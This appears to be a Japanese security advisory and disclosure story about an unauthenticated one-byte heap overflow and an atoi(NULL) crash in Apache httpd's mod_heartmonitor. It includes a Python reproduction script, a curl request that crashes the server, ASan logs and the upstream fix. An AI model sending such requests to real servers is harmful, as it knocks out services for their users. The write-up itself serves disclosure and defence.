1バイトのはみ出し: Apache HTTP Server mod_heartmonitor におけるヒープバッファオーバーフロー

CVE
CVE-2026-46729
CVSS
7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) — 独自評価(公式スコア未公表)
CWE
CWE-787 / CWE-193(境界外書き込み)
対象
mod_heartmonitor — Apache HTTP Server 2.4.x, trunk
上流修正
trunk r1938653(1f5b504654)、2.4.x r1938654(7b12a7936e)

 httpd 2.4.68 / trunk の監査中に脆弱性を特定
 08:20 UTC — 公開リポジトリに上流修正がコミットされる
 11:33 UTC — ASan 検証レポートを添えて Apache Security へ報告
 22:46 UTC — ASF より回答。CVE-2026-46729 の追加発見者としてクレジット
 本解析レポートを公開

この記事では、Apache HTTP Server の mod_heartmonitor に存在した認証不要のヒープ境界外書き込み(CVE-2026-46729)について解説します。

端的に言うと、SetHandler heartbeat が設定されたエンドポイントへ HTTP POST リクエストを送信できるクライアントであれば、1,000 バイトのヒープ領域の直後へ確実に 1 バイトの NUL 文字をはみ出させて書き込ませることができる、という脆弱性です。ハンドラはリクエストボディ用にちょうど MAX_MSG_LEN バイトを確保し、入力バケットから最大 MAX_MSG_LEN バイトを読み込んだ後、無条件に buf[len] へ終端 NUL を書き込みます。ボディが 1,000 バイト以上のとき len == 1000 となり、buf[1000] —— すなわち確保領域の1バイト外側への書き込みが発生します。

この脆弱性と報告の経緯には、興味深い点がいくつもあります:

背景: ロードバランシングとハートビート収集

エンタープライズの可用性設計において、リバースプロキシはバックエンドクラスタの稼働状況や処理負荷をリアルタイムに把握してルーティングを行う必要があります。Apache HTTP Server では、この機構を mod_proxy_balancer、mod_heartmonitor、mod_lbmethod_heartbeat の連携によって実現しています。

各バックエンドサーバは mod_heartbeat を通じて、自身のビジースロット数や余力状況を含む「ハートビート」を定期的に発信します。リバースプロキシ側の mod_heartmonitor はこれらのメッセージを受信・集約し、共有メモリ(slotmem_shm)に格納します。

メッセージの受信経路として、以下の 2 つが用意されています:

<Location "/hb">
    SetHandler heartbeat
</Location>

mod_heartmonitor は標準インストール状態では無効ですが、クラスタ構成(Red Hat JBoss EWS や mod_cluster 配備環境など)では広く利用されています。この HTTP エンドポイントはモジュール自体による認証ハンドシェイクを持たず、到達可能なクライアントからのリクエストをそのまま受け入れます。

脆弱性の構造: 片方だけ忘れられた +1

ハートビートメッセージの上限長は、modules/cluster/mod_heartmonitor.c でマクロ定義されています:

#define MAX_MSG_LEN (1000)

HTTP ハンドラである hm_handler(Apache 2.4.68 では 772 行目付近)は APR_HOOK_FIRST 優先度で登録されており、リクエスト受信時に以下の処理を実行します:

static int hm_handler(request_rec *r)
{
    apr_size_t len = MAX_MSG_LEN;
    apr_status_t status;
    apr_bucket_brigade *input_brigade;
    char *buf;
    ...

    if (r->method_number != M_POST) {
        return HTTP_METHOD_NOT_ALLOWED;
    }

    len = MAX_MSG_LEN;
    ctx = ap_get_module_config(r->server->module_config,
            &heartmonitor_module);

    buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
    input_brigade = apr_brigade_create(r->connection->pool,
                                     r->connection->bucket_alloc);
    status = ap_get_brigade(r->input_filters, input_brigade,
                            AP_MODE_READBYTES, APR_BLOCK_READ,
                            MAX_MSG_LEN);
    if (status != APR_SUCCESS) {
        return ap_map_http_request_error(status, HTTP_BAD_REQUEST);
    }
    apr_brigade_flatten(input_brigade, buf, &len);

    /* we can't use hm_processmsg because it uses hm_get_server() */
    buf[len] = '\0';
    tbl = apr_table_make(r->pool, 10);
    qs_to_table(buf, tbl, r->pool);
    ...

このコードには、バッファ確保とバケット展開の間に明確な計算ミスが存在します:

  1. apr_pcalloc(r->pool, 1000) で、リクエストプール上にちょうど 1,000 バイトの領域を確保します。
  2. ap_get_brigade により、入力フィルタから最大 MAX_MSG_LEN(1,000 バイト)を読み込みます。
  3. apr_brigade_flatten(input_brigade, buf, &len) が実行されます。APR の実装(apr_brigade.c:243)において *len は受信用バッファの容量上限として機能します。POST ボディが 1,000 バイト以上ある場合、きっちり 1,000 バイトがコピーされ、len には 1000 が代入されます。
  4. 直後に buf[len] = '\0' が実行されます。1,000 バイト確保(有効インデックス 0..999)に対して buf[1000] へ書き込みを行うため、バッファ終端から 1 バイトはみ出した NUL 書き込みが発生します。

兄弟関数である UDP 受信ループ(hm_recv)と対比すると、この欠落がなぜ生じたかがよく分かります:

static void * APR_THREAD_FUNC hm_recv(apr_thread_t *thd, void *rec)
{
    char buf[MAX_MSG_LEN + 1];   /* UDP 側: 終端文字用に +1 バイトを確保 */
    apr_size_t len = MAX_MSG_LEN;
    ...
    apr_socket_recvfrom(..., buf, &len);
    buf[len] = '\0';
    ...

UDP 側では最初から MAX_MSG_LEN + 1 と宣言されていました。2009 年 7 月のコミット 84c7d1c676f で HTTP ハンドラが追加された際、作者は buf[len] = '\0' のイディオムをコピーしながら、apr_pcalloc の引数には MAX_MSG_LEN をそのまま渡してしまいました。この 1 バイトの確保漏れが、その後 16 年間にわたって全バージョンに潜み続けることになります。

+-------------------------------------------------------------+---+
|                buf: apr_pcalloc(r->pool, 1000)              |???|
|  [0]                                                 [999]  |   |
+-------------------------------------------------------------+---+
                                                                |
  buf[len] = '\0'  (len == 1000)  ------------------------------+
  (1バイトの境界外 NUL 書き込み)

検証: リクエストプール・風水による確定配置

動的な検証を行うため、Clang 18 を用いて AddressSanitizer (ASan)、UndefinedBehaviorSanitizer (UBSan)、および APR プールデバッグフラグ(-DAPR_POOL_DEBUG=1)を付与した Apache 2.4.68 をビルドしました。

Apache では、apr_pcalloc(r->pool, size) の呼び出しごとに OS の malloc() が直接走るわけではありません。APR は内部で 8,192 バイト等の大きなメモリーブロック(apr_memnode_t)を確保し、その内部をバンプポインタで切り出して各プール要求に充当します。

buf は r->pool から切り出されるため、リクエスト受信時に先行して r->pool へ確保されたデータ(クライアントが送信した各種 HTTP ヘッダなど)がバンプポインタを前進させます。

これを利用すると、精密なヒープ配置の調整(Pool Feng Shui)が可能になります。リクエストに任意のパディングヘッダ(例: X-Pad: AAAA...)を付与し長さを掃引することで、buf の開始位置を少しずつずらし、現在の 8KB アロケータノードの残余容量がちょうど 1,000 バイトになる状態を作り出せます。このとき、buf[1000] の書き込みは 8,192 バイトのノード境界を正確に跨ぎ、隣接する OS アロケーション領域へと到達します。

再現スクリプトによるテスト:

import socket

target = ("127.0.0.1", 35051)

# X-Pad パディングを 0 から 8168 まで 8 バイト刻みで掃引
for pad_len in range(0, 8192, 8):
    s = socket.create_connection(target)
    body = b"v=1&busy=1&ready=1&" + b"A" * 1000
    req = (
        b"POST /hb HTTP/1.1\r\n"
        b"Host: 127.0.0.1\r\n"
        b"Content-Length: " + str(len(body)).encode() + b"\r\n"
        b"X-Pad: " + (b"A" * pad_len) + b"\r\n"
        b"\r\n"
        + body
    )
    s.sendall(req)
    resp = s.recv(1024)
    s.close()

ノード境界と書き込み位置が合致した瞬間、AddressSanitizer が確定的クラッシュを捕捉します:

=================================================================
==3802065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5250001e4900
WRITE of size 1 at 0x5250001e4900 thread T32
    #0 0x7fb142e3d37e in hm_handler modules/cluster/mod_heartmonitor.c:772
    #1 0x57a5a4 in ap_run_handler server/config.c:169
    #2 0x57d27c in ap_invoke_handler server/config.c:443
    #3 0x61b1c0 in ap_process_async_request modules/http/http_request.c:452
    #4 0x606bd9 in ap_process_http_async_connection modules/http/http_core.c:155
    #5 0x6076cc in ap_process_http_connection modules/http/http_core.c:246
    #6 0x5c32b4 in ap_run_process_connection server/connection.c:42
    #7 0x6701e1 in process_socket server/mpm/event/event.c:1098
    #8 0x67f4a6 in worker_thread server/mpm/event/event.c:2252

0x5250001e4900 is located 0 bytes after 8192-byte region [0x5250001e2900,0x5250001e4900)
allocated by thread T28 here:
    #0 0x7fb1490fc667 in malloc (/lib64/libasan.so.8+0xfc667)
    #1 0x7fb148e4de8f in allocator_alloc (libapr-1.so.0)
    #2 0x7fb148b5eea4 in apr_bucket_alloc buckets/apr_buckets_alloc.c:198
    #3 0x7fb148b68450 in socket_bucket_read buckets/apr_buckets_socket.c:34

これにより、認証不要のリモート入力から到達可能で、ヘッダ長の調整によって境界位置を制御できるヒープ境界外書き込みであることが動的に実証されました。

悪用可能性の分析: ペーパータイガーを超えて

脆弱性診断において「未認証ヒープオーバーフロー」という言葉だけが独り歩きすることは少なくありません。しかし、技術的誠実さを持って実用性を評価するならば、このプリミティブが実環境において本当に任意のコード実行へ昇格できるのかを冷静に検証する必要があります。

1. プリミティブの制約

2. glibc における構造的不活性

標準的な Linux 配備(RHEL, Debian, Ubuntu など)では、Apache は glibc の ptmalloc3 アロケータ上で動作します。8,192 バイトの apr_memnode_t が確保されると、隣接領域には標準的な glibc チャンクヘッダが存在します:

+---------------------------------------+
|  チャンク A(8192 バイト APR memnode) |
|  ... データ ...                        |
+---------------------------------------+ <-- ノード境界
|  チャンク B: prev_size(8 バイト)     | <-- buf[1000] は byte0 に直撃
|  チャンク B: size | flags(8 バイト)  |
|  チャンク B: ユーザーデータ ...        |
+---------------------------------------+

buf[1000] がチャンク境界を越えると、チャンク B の prev_size フィールドの最下位バイトをゼロクリアします。古典的なヒープ Exploit 手法では、prev_size の改ざんは free() 時の後方結合(consolidation)を誘発し、チャンクの重ね合わせによる任意アドレス書き込みへと展開されます。

しかし、Apache の内部挙動と glibc の保護機構を精査した結果、この経路は構造的に機能しないことが判明しました:

  1. 先行チャンク解放時の上書き: glibc において prev_size が参照されるのは、先行するチャンクが解放済みである(チャンク B の PREV_INUSE ビットが 0 である)場合のみです。しかし、先行するチャンク A が free(ChunkA) される際、glibc の _int_free() は後方結合判定の直前に ChunkB->prev_size = ChunkA->size を実行します。つまり、私たちが破壊した 1 バイトは、それが評価される条件が整うまさにその瞬間に、正規のチャンクサイズによって上書きされて消滅します。
  2. APR ノードのリサイクル: Apache のメモリアロケータは、解放されたノードを OS の free() に戻さず、内部のフリーリスト(デフォルト 2MB 上限)に保持して再利用します。したがって、通常運用中に隣接チャンク同士の結合処理が走る機会自体が極めて限られています。

この理論を実証するため、サニタイザを含まない素の Apache 2.4.68 本番バイナリに対して、全オフセットを網羅する 2,000 リクエストの連続送信テストを実施しました。glibc のデバッグ機能(MALLOC_CHECK_=3、MALLOC_PERTURB_=0xaa)を有効化した状態でも、2,000 件すべてが 200 OK で正常完了し、プロセスの異常終了やアロケータ警告は一切発生しませんでした。素の glibc 上では、この 1 バイト NUL 書き込みは完全に無症状でスリープします。

3. 代替アロケータ(jemalloc, tcmalloc)での挙動

高性能リバースプロキシ環境などでは、LD_PRELOAD 経由で jemalloc や tcmalloc を適用するケースがあります。これら近代的なアロケータはインラインのチャンクヘッダを持たず、同サイズクラスのオブジェクトをメモリ上に隙間なく連続配置します。

jemalloc 環境では、ノード境界を跨いだ書き込みは**隣接する使用中オブジェクトの先頭バイト(byte 0)**に直撃します。もし隣接オブジェクトがポインタ(フリーリストの next ポインタや関数ポインタなど)から始まっていれば、最下位バイトのゼロ化によって参照先を最大 255 バイトずらすことが可能です。これは理論上は強力な破壊プリミティブですが、有効に悪用するにはスレッドを跨いだ高精度なヒープグルーミングが不可欠です。jemalloc 下で行った 2,000 リクエストのテストでもプロセスの挙動に異常は見られず、偶然の連鎖で侵害が成立する可能性は極めて低いと言えます。

4. サービス拒否(DoS)への到達

任意コード実行には高いハードルがある一方、特定の運用環境においてプロセスを停止させる DoS 攻撃としては現実的に機能します:

5. CVSS による深刻度評価

以上の技術的検証に基づき、本脆弱性のベーススコアを CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5 High) と自己評価しました。攻撃は認証不要でネットワーク経由で到達し、ユーザーの介在を必要としません。子プロセスの異常終了は処理中の接続すべての切断を招くため、可用性への影響度は High となります。一方で、コード実行や情報漏洩の実証には至っていないため、機密性と完全性への影響度は None と判定するのが誠実な評価です。

同じ関数に潜んでいたもう一つのバグ: atoi(NULL) による未認証リモートクラッシュ

ハンドラ内のパラメータ解析処理を追跡していた際、同一関数内にもう一つの直接的な DoS 脆弱性が潜んでいることに気づきました。バッファ展開の直後、hm_handler はクエリ文字列をテーブルに展開してサーバ情報を読み出します:

    tbl = apr_table_make(r->pool, 10);
    qs_to_table(buf, tbl, r->pool);
    apr_sockaddr_ip_get(&ip, r->connection->client_addr);
    hmserver.ip = ip;
    hmserver.port = 80;
    if (apr_table_get(tbl, "port") != NULL)
        hmserver.port = atoi(apr_table_get(tbl, "port"));
    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
    hmserver.ready = atoi(apr_table_get(tbl, "ready"));
    hmserver.seen = apr_time_now();
    hm_update_stat(ctx, &hmserver, r->pool);

port パラメータの扱いを見てください。apr_table_get(tbl, "port") != NULL を事前に確認してから atoi() を呼んでいます。しかし、続く 2 行にはそのガードがありません:

    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
    hmserver.ready = atoi(apr_table_get(tbl, "ready"));

POST リクエストのボディに busy や ready というパラメータが含まれていない場合(例えば POST /hb に v=1&x=1 を送るか、空のボディを送信した場合)、apr_table_get() は NULL を返します。C 言語の標準ライブラリ関数 atoi() に NULL ポインタを渡すと、アドレス 0x0 の参照が発生し、プロセスは即座に SIGSEGV でクラッシュします。

素の Apache 2.4.68 サーバに対してテストを行いました:

# 正しいハートビート POST は 200 OK
curl -X POST http://127.0.0.1:45678/hb -d "v=1&busy=1&ready=1"
# レスポンス: HTTP/1.1 200 OK

# busy/ready を欠いた不正なリクエスト
curl -X POST http://127.0.0.1:45678/hb -d "v=1&x=1"
# レスポンス: curl: (52) Empty reply from server

Apache のエラーログには、即座にセグメンテーション違反が記録されます:

[Sat Oct 03 10:13:35.395829 2026] [core:notice] [pid 2378376:tid 2378376] AH00051: child pid 2378378 exit signal Segmentation fault (11), possible coredump in /tmp/httpd-vanilla-install

標準の event MPM において子プロセスが落ちると、そのプロセスが担当していたすべての Keep-Alive 接続が強制切断されます。認証なしで単発の HTTP パケットを送るだけで確実に子プロセスを落とせるため、実用的な DoS 攻撃の脅威としては前述のヒープ境界外書き込み以上に直接的です。

この NULL デリファレンス問題は 2026 年 7 月に別途 Apache セキュリティチームへ報告されており、同じく CVE-2026-46729 の識別子の下で追跡されていました。

上流修正の解説: 5 つの多層防御

、Apache HTTP Server コミッターの Eric Covener 氏により、開発版 trunk(リビジョン r1938653、コミット 1f5b504654)および 2.4.x ブランチ(リビジョン r1938654、コミット 7b12a7936e)に対して修正がコミットされました。

このコミットは、ヒープ境界外書き込みとパラメータ欠落クラッシュの双方を一括して解消しています:

--- a/modules/cluster/mod_heartmonitor.c
+++ b/modules/cluster/mod_heartmonitor.c
@@ -756,11 +759,27 @@ static int hm_handler(request_rec *r)
         return HTTP_METHOD_NOT_ALLOWED;
     }

-    len = MAX_MSG_LEN;
     ctx = ap_get_module_config(r->server->module_config,
             &heartmonitor_module);

-    buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
+    /* Check if module is active */
+    if (!ctx || !ctx->active) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10561)
+                      "Heartbeat monitoring not active");
+        return HTTP_SERVICE_UNAVAILABLE;
+    }
+
+    /* Validate Content-Length before reading */
+    if (r->remaining > MAX_MSG_LEN) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10562)
+                      "Heartbeat message too large: %" APR_OFF_T_FMT " bytes (max %d)",
+                      r->remaining, MAX_MSG_LEN);
+        return HTTP_REQUEST_ENTITY_TOO_LARGE;
+    }
+
     len = MAX_MSG_LEN;
+    /* Allocate buffer with space for null terminator */
+    buf = apr_pcalloc(r->pool, MAX_MSG_LEN + 1);
     input_brigade = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
     status = ap_get_brigade(r->input_filters, input_brigade, AP_MODE_READBYTES, APR_BLOCK_READ, MAX_MSG_LEN);
     if (status != APR_SUCCESS) {
@@ -772,13 +791,49 @@ static int hm_handler(request_rec *r)
     buf[len] = '\0';
     tbl = apr_table_make(r->pool, 10);
     qs_to_table(buf, tbl, r->pool);
+
+    /* Validate required parameters - prevent NULL pointer dereference */
+    if (apr_table_get(tbl, "busy") == NULL ||
+        apr_table_get(tbl, "ready") == NULL) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10563)
+                      "Missing required parameters: busy and/or ready");
+        return HTTP_BAD_REQUEST;
+    }
+
     apr_sockaddr_ip_get(&ip, r->connection->client_addr);
     hmserver.ip = ip;
     hmserver.port = 80;
-    if (apr_table_get(tbl, "port") != NULL)
-        hmserver.port = atoi(apr_table_get(tbl, "port"));
-    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
-    hmserver.ready = atoi(apr_table_get(tbl, "ready"));
+
+    /* Validate and parse port with proper bounds checking */
+    val = apr_table_get(tbl, "port");
+    if (val != NULL) {
+        port_long = strtol(val, &endptr, 10);
+        if (*endptr == '\0' && port_long > 0 && port_long <= 65535) {
+            hmserver.port = (unsigned int)port_long;
+        }
+        else {
+            ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10564)
+                          "Invalid port value: %s, using default 80", val);
+        }
+    }
+
+    /* Parse busy and ready with validation */
+    val = apr_table_get(tbl, "busy");
+    hmserver.busy = (int)strtol(val, &endptr, 10);
+    if (*endptr != '\0') {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10565)
+                      "Invalid busy value: %s, using 0", val);
+        hmserver.busy = 0;
+    }
+
+    val = apr_table_get(tbl, "ready");
+    hmserver.ready = (int)strtol(val, &endptr, 10);
+    if (*endptr != '\0') {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10566)
+                      "Invalid ready value: %s, using 0", val);
+        hmserver.ready = 0;
+    }
+
     hmserver.seen = apr_time_now();
     hm_update_stat(ctx, &hmserver, r->pool);

このパッチは、単なるバッファ長の修正にとどまらず、手厚い多層防御を施しています:

  1. バッファ長の拡張: apr_pcalloc(r->pool, MAX_MSG_LEN + 1) により終端 NUL 用の 1,001 バイト目を確保し、OOB 書き込みを根本解消。
  2. 事前長チェック: バケットを読む前に r->remaining を確認し、宣言サイズが MAX_MSG_LEN を超える場合は 413 Payload Too Large で即時拒否。
  3. モジュール稼働状態の確認: !ctx || !ctx->active の場合に 503 Service Unavailable を返却。
  4. NULL ポインタのガード: busy と ready の存在を事前に確認し、欠落している場合は 400 Bad Request を返却して atoi(NULL) クラッシュを防止。
  5. 厳格な整数パース: atoi() から strtol() へ移行し、ポート番号の範囲検証(1..65535)や不正な文字の混入を検知。

報告の経緯と 3 時間差のドラマ

11:33 UTC、私は技術レポート、再現スクリプト(trig_hb_oob.py)、および AddressSanitizer の完全なログを添付して security@apache.org へ報告メールを送信しました。

ASF セキュリティチームの Piotr P. Karwasz 氏は、これを HTTP Server 専用のアドレスである security@httpd.apache.org へ転送する際、次のようなメモを添えていました:

"The report arrived a couple of hours after a public patch was committed to the repo. Normally we would reject all reports that arrived after the issue was already publicly fixed, but in this case the margin is very small, so we prefer to leave the credit decision to you."

そして同日、Apache HTTP Server コミッターの Eric Covener 氏から以下の返信をいただきました:

"Thanks for your report. CVE-2026-46729 had been previously allocated for this issue and a change has been committed around the time of your email. We have added you as an additional finder/reporter."

上流のコミット(trunk r1938653、2.4.x r1938654)が Git ミラーに公開されたのは同日 08:20 UTC であり、私の報告のわずか 3 時間 13 分前でした。先行して 2026 年 8 月 12 日に別のリサーチャーが同一の境界外書き込み(リクエストスマグリングの観点)を報告しており、その修正が行われた直後の到着でした。数時間差という僅差であり、完全に独立した発見であったことを踏まえ、httpd PMC は私を追加発見者(additional finder / reporter)としてクレジットに加えてくださいました。

影響を受けるバージョンと対策

本脆弱性は、Apache HTTP Server 2.4.0 から 2.4.68 までの全バージョン、およびコミット 1f5b504654 より前の trunk に存在します。旧来の 2.2 系には本モジュールは存在しません。

運用環境における推奨対策は以下の通りです:

タイムライン

日付出来事
コミット 84c7d1c676f により HTTP ハートビートハンドラが追加される(+1 バッファ欠落を含む)
Apache 2.4.0 リリース(脆弱なコードが含まれる最初の安定版)
同一ハンドラの NULL ポインタ参照に関する先行報告(CVE-2026-46729)
mod_heartmonitor の OOB 書き込みに関する先行の独立報告
Apache 2.4.68 監査中に本脆弱性を独立発見
上流修正が trunk(r1938653)および 2.4.x(r1938654)にコミットされる
技術レポート、PoC、ASan ログを security@apache.org へ報告
Apache HTTP Server PMC より回答、Keita Sode を追加発見者としてクレジット
本解説記事を公開

報告者: Keita Sode(SYZD Research)。迅速な対応と温かい追加クレジットをいただいた Eric Covener 氏、Piotr P. Karwasz 氏、ならびに Apache HTTP Server セキュリティチームの皆様に心より感謝申し上げます。なお、すべての実証実験はローカルで隔離されたプライベート検証環境において実施されています。